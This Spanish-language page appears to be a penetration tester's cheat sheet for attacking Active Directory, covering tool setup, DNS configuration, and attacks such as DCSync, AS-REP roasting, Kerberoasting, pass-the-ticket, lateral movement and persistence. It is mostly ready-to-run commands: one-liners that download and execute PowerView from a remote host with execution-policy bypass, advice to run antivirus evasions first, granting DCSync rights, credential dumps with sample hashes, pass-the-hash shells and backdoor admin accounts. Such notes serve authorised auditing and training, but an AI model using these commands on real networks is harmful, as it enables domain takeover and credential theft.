Active directory
Herramientas
Antes de ejecutar scripts de powershell que normalmente son identificados como maliciosos, se recomienda ejecutar las evasiones detalladas en Evasión de restricciones.
ADModule
https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps
https://github.com/samratashok/ADModule
git clone "https://github.com/samratashok/ADModule.git"
cd ADModule
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1
Lista de cmdlets: https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps
PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Recon/PowerView.ps1'))
iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/PowerView.ps1'))
Antes habrá que habilitar la ejecución de scripts: Active directory
Luego, se carga PowerView:
cd PowerSploit\Recon
. .\PowerView.ps1
. C:\AD\Tools\PowerSploit\Recon\PowerView.ps1
One liner - Descarga y ejecución del script:
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
SharpView
ADExplorer
https://learn.microsoft.com/es-es/sysinternals/downloads/adexplorer
ADRecon
https://github.com/adrecon/ADRecon
ADAPE
https://github.com/hausec/ADAPE-Script
. .\ADAPE.ps1
ADAPE.ps1 -All
ADAPE.ps1 -Inv
ADAPE.ps1 -Kerberoast
ADAPE.ps1 -Bloodhound
ADAPE.ps1 -GPP
ADAPE.ps1 -PrivEsc
ADAPE.ps1 -PView
Ping Castle
https://www.pingcastle.com/download/
Configuración DNS
Cuando se realiza una auditoría de Active Directory, uno de los primeros pasos que muchos olvidan es configurar correctamente el DNS. Si no apuntas tu máquina al Controlador de Dominio (DC) como servidor DNS, estarás limitando tus capacidades de enumeración, autenticación y explotación.
Cuando hay múltiples DCs, normalmente todos comparten la misma zona DNS y actúan como servidores DNS autoritativos del dominio, por lo que, se puede usar cualquier DC como servidor DNS.
Por ejemplo, si el DNS no está configurado correctamente, no podrás obtener tickets de servicio (TGS) ni realizar consultas a Kerberos.
Solución: Cambiar el DNS al del DC y asegurarse de que la máquina puede hacer nslookup
al dominio.
Cambiar servidor DNS del sistema
Siendo, por ejemplo, 10.200.80.101
la IP del controlador del dominio (DC).
Para cambiar de forma sencilla la configuración:
Kali:
wget "https://raw.githubusercontent.com/xtormin/CyberSnippets/refs/heads/main/network/swap-dns.sh"
bash swap-dns.sh 10.200.80.101
Windows:
wget "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/network/Swap-DNS.ps1"
Ejecutar con privilegios de administrador:
.\Swap-DNS.ps1 -NewPrimaryDNS 10.200.80.101
Para comprobar en ambos casos que está configurado correctamente, hacer nslookup
del dominio, siendo por ejemplo xtormin.local
:
nslookup dc.xtormin.local
Si se resuelve correctamente el dominio, se encuentra bien configurado.
Añadir registro DNS manualmente
Si no es posible cambiar la configuración DNS, se pueden añadir los registros a mano en el sistema. No obstante, solo se recomienda para casos puntuales, ya que no es viable realizarlo con una gran cantidad de hosts y además, puede dar lugar a fallos en la explotación de vulnerabilidades.
Kali:
echo "10.200.80.201 web.xtormin.local" > /etc/hosts
Windows:
Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "`n10.200.80.201 web.xtormin.local"
Enumeración manual
Enumeración automatizada
BloodHound
Ataques
Password Spraying
Identificar cuentas con el contador de intentos fallidos no nulos (es decir, que ya han agotado algún intento de inicio de sesión): Active directory
ldapsearch -x -h <DC_IP> -b "CN=Default Domain Policy,CN=System,DC=domain,DC=local"
ADCS - Certificados vulnerables
https://github.com/GhostPack/Certify?tab=readme-ov-file#compile-instructions
Binarios complilados: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git
Certify.exe find /vulnerable
DCsync
Este ataque permite pretender ser un controlador de dominio y solicitar datos de contraseña de cualquier usuario. Esto puede ser utilizado por un atacante para obtener el hash NTLM de cualquier cuenta, incluida la cuenta KRBTGT, que permite a los atacantes crear Golden Tickets.
Por ejemplo:
Si un usuario
SVC-TEST
es miembro deSERVICE ACCOUNTS
,PRIVILAGED IT ACCOUNTS
yACCOUNTS OPERATORS
.Los miembros del grupo
ACCOUNT OPERATORS
tienen privilegios GenericAll sobre el grupoEXCHANGE WINDOWS PERMISSIONS
. Esto significa que tenemos control total para manipular cualquier objeto de destino.Los miembros del grupo
EXCHANGE WINDOWS PERMISSIONS
tienen permisos de escritura sobre DACL (Discretionary Access Control List) en el dominioXTORMINCORP.LOCAL
. Esto significa que podemos otorgarnos el privilegio de DcSync.Con este privilegio se podría llevar acabo un ataque de DCSync.
Teniendo en cuenta este ejemplo, se crea un usuario en el dominio y se le añade al grupo que cuenta con privilegios de escritura sobre DACL:
net user xtormin xtormin /add /domain
net group "Exchange Windows Permissions" xtormin /add /domain
net group "Exchange Windows Permissions"
Se le da permisos de DCSync al usuario creado:
$SecPassword = ConvertTo-SecureString 'xtormin' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('XTORMINCORP\xtormin', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=xtormincorp,DC=local" -PrincipalIdentity xtormin -Rights DCSync
Y se obtienen los hashes de los usuarios:
impacket-secretsdump xtormincorp.local/xtormin:[email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
xtormincorp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee::::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xtormincorp.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Con netexec se puede verificar a qué hosts tiene acceso el usuario administrador haciendo uso del hash obtenido anteriormente:
netexec smb 192.168.1.100 -u <usuario> -H <nthash>
netexec smb 192.168.1.100 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6
Se obtiene una shell usando psexec:
impacket-psexec -hashes 32693b11e6aa90eb43d32c72a07ceea6:32693b11e6aa90eb43d32c72a07ceea6 [email protected]
AS-REP Roasting - Autenticación de kerberos no requerida
Este ataque explota cuentas que no requieren la preautenticación Kerberos. Si un usuario tiene esta opción deshabilitada, un atacante puede solicitar un ticket de autenticación (TGT) para ese usuario y recibir un mensaje cifrado con su contraseña, que puede ser crackeado offline.
impacket-GetNPUsers -no-pass -dc-ip <IP del DC> <dominio>/<usuario>
for user in $(cat creds/usernames.txt); do impacket-GetNPUsers -no-pass -dc-ip 192.168.1.10 xtormincorp/${user} | grep -v Impacket; done
[*] Getting TGT for svc-test
$krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
Se crea un fichero "svc-test.hc18200" con el contenido del ticket:
$krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
Se intenta crackear el hash, por ejemplo, con un diccionario:
hashcat -m 18200 hash/svc-test.hc18200 /usr/share/wordlists/rockyou.txt --force
MITIGACIÓN
Kerberoasting
Se solicita un TGS (Ticket Granting Service) para las cuentas de servicio que tienen SPNs asociados y se crackean los tickets para obtener la contraseña. El éxito del ataque dependerá de la complejidad de la contraseña del servicio.
Enumeración de cuentas con SPN:
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-DomainUser -SPN
Solicitud de tickets TGS:
Desde windows:
Get-netuser -SPN | Get-DomainSPNTicket -outputformat Hashcat | Select-Object samaccountname,Hash | ConvertTo-Csv -NoTypeInformation | Select-object -skip 1 > kerberoast.csv
Add-Type -AssemblyName System.IdentityModelNew -ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Clase de servicio\Nombre de host:Puerto"
git clone "https://github.com/PowerShellMafia/PowerSploit.git"
cd PowerSploit\Recon
Import-Module Recon
Invoke-Kerberoast -Domain active.htb -OutputFormat Hashcat | fl
Desde Kali:
IPDC='<IP del controlador de dominio'
python3 GetUserSPNs.py xtormincorp.local/svc_tgs:St2025 -dc-ip $IPDC -request -outputfile TGS_hash.txt
Si se devuelve este error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great), se suele solucionar sincronizando el host con el DC:
IPDC='<IP del controlador de dominio'
ntpupdate $IPDC
Cracking de tickets:
John:
john.exe --wordlist=C:\AD\Tools\kerberoast\10kworst-pass.txt C:\AD\Tools\hashes.txt
Hashcat:
hashcat -m 13100 --force <fichero con TGSs> <lista de contraseñas>
Pass the Ticket - PTT
https://github.com/GhostPack/Rubeus
.\Rubeus.exe dump
Windows
Opción 1: Se añade el ticket directamente en Base64:
.\Rubeus.exe ptt /ticket:<Base64Ticket>
Opción 2: Se decodifica el código en Base64 en un fichero .kirbi que luego será inyectado desde la herramienta mimikatz:
[IO.File]::WriteAllBytes("C:\Users\xtormin\Desktop\teresa.kirbi", [Convert]::FromBase64String("<Base64Ticket>"))
.\mimikatz.exe
kerberos:ptt C:\Users\xtormin\Desktop\teresa.kirbi
Opción 3: Se crea un ticket TGT haciendo uso del hash del usuario:
C:\AD\Tools\Rubeus.exe -args asktgt /user:<usuario> /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
C:\AD\Tools\Rubeus.exe -args asktgt /user:useradmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
Se enumeran los tickets disponibles:
klist
Se inicia sesión:
.\PsExec.exe -accepteula \\systm.xtormincorp.local powershell
Linux
https://github.com/SolomonSklash/RubeusToCcache
python rubeustoccache.py <Base64Ticket> ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
psexec.py <dominio>/<usuario>@<máquina> -k -no-pass
smbexec.py <dominio>/<usuario>@<máquina> -k -no-pass
wmiexec.py <dominio>/<usuario>@<máquina> -k -no-pass
smbexec.py xtormincorp.local/[email protected] -k -no-pass
Unconstrained Delegation
Para identificar equipos que cuentan con el atributo TrustedForDelegation
se puede usar el siguiente comando:
AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
ADSI
$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$search.FindAll() | ForEach-Object { $_.Properties.samaccountname }
Para obtener la lista completa y guardarla en un fichero CSV:
# Script para obtener equipos con TrustedForDelegation y guardarlos en CSV
$date = Get-Date -Format "yyyyMMdd"
$outputFile = "trustedfordelegation_${date}_hosts.csv"
# Obtener los equipos con TrustedForDelegation habilitado
$computers = Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties Name,DNSHostName,Enabled,Description,OperatingSystem,TrustedForDelegation
# Seleccionar propiedades relevantes y exportar a CSV
$computers | Select-Object Name,DNSHostName,Enabled,Description,OperatingSystem,TrustedForDelegation |
Export-Csv -Path $outputFile -NoTypeInformation -Encoding UTF8
Write-Host "Datos exportados correctamente a $outputFile"
Si solo se quiere hacer de una lista de hosts en concreto:
# Script para consultar TrustedForDelegation solo de los hosts listados en scope.txt
$date = Get-Date -Format "yyyyMMdd"
$outputFile = "trustedfordelegation_${date}_hosts.csv"
$scopeList = Get-Content "scope.txt"
$results = foreach ($fqdn in $scopeList) {
$computer = Get-ADComputer -Filter {DNSHostName -eq $fqdn} -Properties Name, DNSHostName, Enabled, Description, OperatingSystem, TrustedForDelegation
if ($computer) {
[PSCustomObject]@{
Name = $computer.Name
DNSHostName = $computer.DNSHostName
Enabled = $computer.Enabled
Description = $computer.Description
OperatingSystem = $computer.OperatingSystem
TrustedForDelegation = $computer.TrustedForDelegation
}
}
}
# Exportar resultados
$results | Export-Csv -Path $outputFile -NoTypeInformation -Encoding UTF8
Write-Host "Datos exportados correctamente a $outputFile"
Movimiento lateral
Conexiones remotas
SC
Puerto:
135/tcp
&49152-65535/ TCP
(DCE/RPC)445/tcp
(RPC sobre canales con nombre SMB )139/tcp
(RPC sobre canales con nombre SMB )
Grupo requerido: Administradores
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
Creación remota de tareas programadas
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
schtasks /S TARGET /TN "THMtask1" /DELETE /F
Persistencia
Creación de usuarios
Creación de un usuario administrador:
net user xtormin "password" /add
net localgroup Administradores xtormin /add
Casos de ataque
Ejemplo 1 - Máquinas con acceso privilegiado + PTT
(aka. Derivative Local Admin + PTT)
Teniendo un acceso previo con un "Usuario A" del dominio sin privilegios en la "Máquina A":
Se enumeran todas las máquinas en las que se tiene acceso de administrador local "Find-LocalAdminAccess".
. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
Se obtiene una "Máquina B" y se accede vía PSExec, SMBExec, etc.
psexec.py <dominio>/<usuario>@<máquina> -k -no-pass
Se extraen los tickets disponibles en la máquina, por ejemplo, haciendo uso de Rubeus o Mimikatz.
.\Rubeus.exe dump
Se carga el ticket krbtgt de un "Usuario B" (de la "Máquina B") en la "Máquina A" (dentro del dominio) o en una "Máquina C" (fuera del dominio).
Se accede a la "Máquina B" con el ticket, suplantando la identidad del "Usuario B".

Referencias
Última actualización
¿Te fue útil?